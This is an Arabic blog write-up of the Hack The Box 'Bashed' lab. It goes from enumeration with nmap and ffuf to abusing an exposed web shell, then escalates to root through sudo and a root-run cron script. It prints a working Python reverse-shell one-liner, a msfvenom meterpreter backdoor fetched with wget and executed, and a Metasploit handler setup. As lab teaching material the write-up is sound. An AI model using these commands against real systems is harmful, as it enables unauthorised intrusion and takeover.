hack the box - bashed write-uphack the box - bashed write-up

بسم الله الرحمن الرحيم
في هذه التدوينه راح اشرح طريقه حل تحدي Bashed من موقع Hack The Box
مستوى الصعوبه ” سهل ” وتصنف كاحد الاجهزه المشابهه لاختبار OSCP

في البدايه راح نعمل سكان باستخدام NMAP
nmap -sC -sV 10.10.10.68
بعد الفحص اكتشفنا ان المنفذ المفتوح هو ( 80 ) الخاص بسيرفر الويب

سكان باستخدام NMAP
نتيجه السكان باستخدام NMAP

في هذه الحاله يفضل استخدام اداه FFUF للبحث عن المجلدات المخفيه في الموقع, خلال عمل البرنامج نتصفح الموقع بالمتصفح ونحاول نبحث عن اي معلومه ممكن تفيدنا
الاداه بشكل بسيط ترسل طلب باسماء عشوائيه للموقع وتنتظر الرد  على الطلب , في حاله وجود صفحه او مجلد متاح يتم عرضها في مخرجات الموقع.

طريقه استخدام اداه FFUF
ffuf -v -u http://10.10.10.68/FUZZ -w /usr/share/dirb/wordlists/small.txt
ffuf = لتشغيل البرنامج
-v = لعرض المخرجات مع تفاصيل اضافيه
-u = لتحديد الرابط
FUZZ = الموجوده في نهايه الرابط تسمح للبرنامج بتحديد الجزئيه اللتي راح يتم فيها تجربه الاسماء من قائمه الكلمات
-w = قائمه الكلمات المراد تجربتها

بعد استخدام البرنامج قدرنا نكتشف مجموعه من الملفات واحد هذه الملفات مثير للاهتمام ” http://10.10.10.68/dev “

نتيجه فحص مجلدات الموقع باستخدام FFUF
نتيجه فحص مجلدات الموقع باستخدام FFUF

بعد فتح الرابط وجدنا ملفين “phpbash.php” و ” phpbash.min.php ” اتضح لنا  انه عباره عن web shell يسمح لنا بتفيذ اوامر بشكل مباشر على السيرفر.
يعني في احتماليه كبيره اننا نقدر نحصل على اتصال عكسي ” Revers shell ” الرابط المستخدم:
http://10.10.10.68/dev/phpbash.min.php

محتوى ملف phpbash.min.php
محتوى ملف phpbash.min.php

نلاحظ ان الاومر تنفذ بشكل مباشر

الان نفتح منفذ في جهازنا باستخدام ” netcat ”
nc -lvp 4444

امر فتح منفذ في الجهاز باستخدام netcat
امر فتح منفذ في الجهاز باستخدام netcat

وننفذ الامر التالي في صفحه الويب مع تغيير عنوان  “10.10.14.10” و 443 لعنوان IP , port الخاص فيك
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

حصلنا على الشيل لكن نحتاج كم خطوه عشان يكون تفاعلي وبكامل الخصائص 🙄

شكل الشيل قبل TTY Spawn
شكل الشيل قبل TTY Spawn

ننفذ الاوامر هذي بالترتيب التالي
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z
stty raw -echo; fg

شكل الشيل بعد TTY Spawn
شكل الشيل بعد TTY Spawn

الشكل هكذا افضل صح !! 😎

لكن تذكر
” توجد اكثر من طريقه للوصول لهدفك دائما”
لهذا السبب راح اشرح الحصول على شيل باستخدام Metasploit بدل الطريقه السابقه
في البدايه نستخدم اداه msfvenom لانشاء باك دور بامتداد elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.14.33" LPORT=3333 -f elf > bashed.elf
شرح الامر السابق
msfvenom = لتشغيل البرنامج
-p = لتحديد نوع  payload
LHOST – LPORT = عنوان الايبي الخاص فيك والمنفذ
-f = صيغه او امتداد المخرجات
< = اسم الملف بعد انشائه

اداة msfvenom
اداة msfvenom

بعد انشاء الملف ننتقل للخطوه التاليه وهي تفعيل ويب سيرفر في نفس المجلد المحفوظ فيه الباكدور, بهذه الطريقه نقدر نستخدم wget لنقله للسيرفر من خلال صفحه الويب السابقه.
اسهل واسرع طريقه هي استخدام بايثون كمايلي
python2 -m SimpleHTTPServer 8000
😀 الان لو وضعت عنوان الايبي الخاص بك واستخدمت المنفذ 8000 بتقدر تتصفح المجلد من خلال الويب

انشاء سيرفر ويب باستخدام python
انشاء سيرفر ويب باستخدام python

الان نجهز الميتاسبلويت بحيث يستقبل الاتصال القادم من الباكدور
لتشغيل البرنامج
msfconsole
نستخدم handler لاستقبال الاتصال.
use exploit/multi/handler
ثم نستخدم payload متوافق مع الـ payload الي استخدمناه في msfvenom  في الخطوه السابقه
set payload linux/x86/meterpreter/reverse_tcp
نحدد المنفذ ” نفس الي اخترناه سابقها في msfvenom”
set lport 3333
نحدد عنوان IP او اسم interface في حالتي استخدمت اسم interface
set lhost tun0
وتقدر تعرف العنوان الخاص فيك باستخدام
sudo ifconfig
واخيراً نشغل الـ handler
run -j
سبب استخدامي j- عشان يشتغل في الخلفيه

شرح اعدادات multi/handler
شرح اعدادات multi/handler

الان خلصنا الاعدادات في الميتاسبلويت والباكدور جاهز والويب سيرفر جاهز.
بنرجع للصفحه الي فيها webshell وننزل الباكدور ونشغله
اول شي ننتقل لمجلد tmp على السيرفر لانه هو المكان الوحيد الي نقدر حاليا نكتب فيه او ننشيء ملف
cd /tmp
ثم نستخدم امر wget  “ لاتنسى تغيير IP
wget http://10.10.14.33:8000/bashed.elf
ثم نعدل صلاحيات الملف
chmod 777 bashed.elf
الخطوه الاخيره تشغيل الملف
./bashed.elf

نقل وتشغيل الباكدور على السيرفر
نقل وتشغيل الباكدور على السيرفر

نرجع لميتاسبلويت ونشوف هل وصلنا اتصال من السيرفر او لا !!!

meterpreter shell
meterpreter shell

ياااسلام .. قدرنا نحصل على شيل بطريقه ثانيه 😀
اذا كتبنا هذا الامر
session -i
بنعرف عدد الجلسات او الشيل الي متصلين فيها ونقدر نختار من بينا باستخدام نفس الامر + رقم الشيل
session -i 1
ونقدر ندخل على الشيل باستخدام shell
” لو كنت ترغب بكتابه تدوينه عن meterpreter و metasploit اكتب لي تعليق اسفل تغريده تويتر “
الان بعد معرفتنا لطريقتين للحصول على شيل بنستخدم احدهم لتنفيذ هجوم تصعيد الصلاحيات.

نبداء نستكشف النظام ونحاول نصعد الصلاحيات ( اذا كنت مهتم تستطيع الاطلاع على تدويناتي السابقه بخصوص تصعيد الصلاحيات )

privilege escalation – تصعيد الصلاحيات ( Linux )

استغلال Capabilities في تصعيد الصلاحيات على نظام لينكس

لو بحثنا بداخل مجلد home راح نحصل ملف user.txt يحتوي على العلم الخاص باليوزر ” اترك لكم هذه المهمه 😀  “

نجرب استخدام امر
sudo -l

sudo -l
sudo -l

نلاحظ ان المستخدم scriptmanger يقدر يستخدم sudo بدون باسورد !!
نجرب استغلال هذا الخطأ في الصلاحيات ونشغل ملف /bin/bash بصلاحيات scriptmanger
sudo -u scriptmanager /bin/bash
بهذا الشكل بناخذ صلاحيات المستخدم scriptmanger وانتقلنا بشكل عرضي في الصلاحيات ” تم توضيح معنى التصعيد الطولي والعرضي في تدوينه تصعيد الصلاحيات

تم تصعيد الصلاحيات بنجاح
تم تصعيد الصلاحيات بنجاح

لكن حتى الان مابعد نحصل على حساب root !!
نرجع نفحص السيرفر.
لو استكشفنا الملفات والمجلدات في المجلد الرئيسي راح نلاحظ شي غريب

ملف غريب
ملف غريب

لاحظ في الصوره السابقه يوجد مجلد وحيد صلاحياته مختلفه ,, ومن حسن الحظ ان مالك الملف هو المستخدم الي حصلنا على صلاحياته
بداخل هذا المجلد ملفين ,, الاول “test.py” صلاحيات المالك لمستخدمنا الحالي scriptmanger  والاخر “test.txt للـ root 🙁 لكن لحسن الحظ نستطيع قراءه الملف
ملف “test.py”  يحتوي على هذا الكود.

محتويات ملف test.py
محتويات ملف test.py

الملف ببساطه يكتب testing 123! بداخل مجلد test.txt لكن المفروض ان الملف test.txt المنشأ من قبل البرنامج يكون مالكه نفس المستخدم وليس root !!!
هذا يعني ان الي شغل ملف test.py المملوك لـ scriptmanger   هو root
لو رجعنا لتاريخ انشاء الملف نلاحظ ايضا ان الملف تم التعديل عليه من دقائق مما يعطي احتمال ان السكربت يتم تشغيله من خلال cronjob بشكل دوري بصلاحيات root
نجرب نعدل على الرساله test 123! ونشوف ايش يصير !!

بعد تعديل الرساله في ملف test.py
بعد تعديل الرساله في ملف test.py

بعد دقيقه محتوى ملف test.txt تغير وهذا يرجح احتماليه ان الملف يتم تشغيله من خلال المهام المجدوله بصلاحيات روت cronjob

محتوى الملف test.txt قبل وبعد
محتوى الملف test.txt قبل وبعد

محتوى الملف test.txt قبل وبعد
في هذه الحاله ,, راح نستبدل الكود الحالي في سكربت البايثون test.py بكود يعمل اتصال عكسي على جهازي.
في هذه الحاله لما يتم تفعيل المهام المجدوله وتشغيل الملف بصلاحيات root الاتصال العكسي راح يكون بصلاحيات root ايضا 😎

استخدمت الكود التالي لعمل اتصال عكسي .. وانصحك ان تبحث بنفسك عن كود مشابه وتجرب, 😈

كود الاتصال العكسي
كود الاتصال العكسي

متبقي ان نستخدم netcat لفتح المنفذ 2222 وانتظار الاتصال العكسي
netcat -lvp 2222

تم تصعيد الصلاحيات والحصول على روت
تم تصعيد الصلاحيات والحصول على روت

BOOOOOOOOOOOOOOOOOOOM!!!!!!
حصلنا على روت وبهذا الشكل حلينا هذا التحدي

اتمنى ان اكون وفقت في شرح جميع الخطوات بوضوح.
اذا عجبتك التدوينه لاتنسى مشاركتها مع اصدقائك من خلال الضغط على رابط تويتر بالاسفل , دعمكم هو وقودنا للاستمرار
حسابي في منصه تويتر @buhaimedi